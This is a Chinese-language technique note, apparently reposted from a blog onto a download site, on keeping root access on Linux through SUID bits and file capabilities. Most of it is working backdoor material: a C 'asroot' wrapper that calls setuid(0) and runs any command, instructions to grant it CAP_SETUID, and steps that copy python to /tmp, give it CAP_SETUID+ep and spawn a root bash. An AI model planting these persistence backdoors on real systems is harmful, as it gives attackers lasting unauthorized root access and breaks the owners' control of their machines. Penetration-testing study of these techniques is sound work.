root权限-维持技巧

参考链接:
https://github.com/422926799/note/blob/master/学习记录/Linux提权/使用功能的Linux特权升级.md
https://422926799.github.io/posts/9dcc308e.html setcap设置的文件可控造成的提权
https://www.freebuf.com/articles/system/244627.html

基础
SUID: SUID代表设置的用户ID,并允许用户以文件所有者的身份执行文件         # 简单理解,被SUID设置过的高权限文件。当低权用户执行时,可获得高权限
chmod u+s /usr/bin/python                # 给予某个文件拥有临时权限
find / -perm -u=s -type f 2>/dev/null    # 使用find命令找出SUID文件

Capabilities的主要思想在于分割root用户的特权,即将root的特权分割成不同的能力,每种能力代表一定的特权操作。例如:能力CAP_SYS_MODULE表示用户能够加载(或卸载)内核模块的特权操作,而CAP_SETUID表示用户能够修改进程用户身份的特权操作。在Capbilities中系统将根据进程拥有的能力来进行特权操作的访问控制
setcap CAP_SETUID+ep /tmp/python         # setcap给予tmp目录下的python一个用户临时执行权限
getcap -r  / 2>/dev/null                 # 检索setcap所设置的文件
方法一 使用自己编译的文件
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

/*
 *      Asroot  - execute a command with root permissions.
 *                compile with 'cc -o asroot asroot.c'
 *                then 'chown root asroot; chmod u+s asroot'.
 *
 *      This program is a convenience for single-user systems,
 *      BUT it is a MASSIVE security hole.  Please use caution.
 */

extern char **environ;

void main(int argc, char **argv ) {
        int retcode;
        char string[260];

        setuid( 0 );

        if ( argc > 1 ) {
                execvp( argv[1], &argv[1] );
                fprintf( stderr,"%s: execution of '%s' failed: ", argv[0], argv[1] );
                perror( "" );
                exit( 1 );
        }
}


赋予上面编译好的文件权限
gcc -o test test.c    # 编译

setcap CAP_SETUID+ep ./file        # setcap CAP_SETUID+ep /tmp/python     setcap给予tmp目录下的python一个用户临时执行权限

用法: ./test whoami
方法二 使用系统自带的文件(perl, python, tar)
whereis python

cp /usr/bin/python  /tmp/python

setcap CAP_SETUID+ep /tmp/python

./python -c 'import os;os.setuid(0);os.system("/bin/bash")'

原文地址:http://www.cnblogs.com/startstart/p/16908789.html

1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长! 2. 分享目的仅供大家学习和交流,请务用于商业用途! 3. 如果你也有好源码或者教程,可以到用户中心发布,分享有积分奖励和额外收入! 4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解! 5. 如有链接无法下载、失效或广告,请联系管理员处理! 6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需! 7. 如遇到加密压缩包,默认解压密码为"gltf",如遇到无法解压的请联系管理员! 8. 因为资源和程序源码均为可复制品,所以不支持任何理由的退款兑现,请斟酌后支付下载 声明:如果标题没有注明"已测试"或者"测试可用"等字样的资源源码均未经过站长测试.特别注意没有标注的源码不保证任何可用性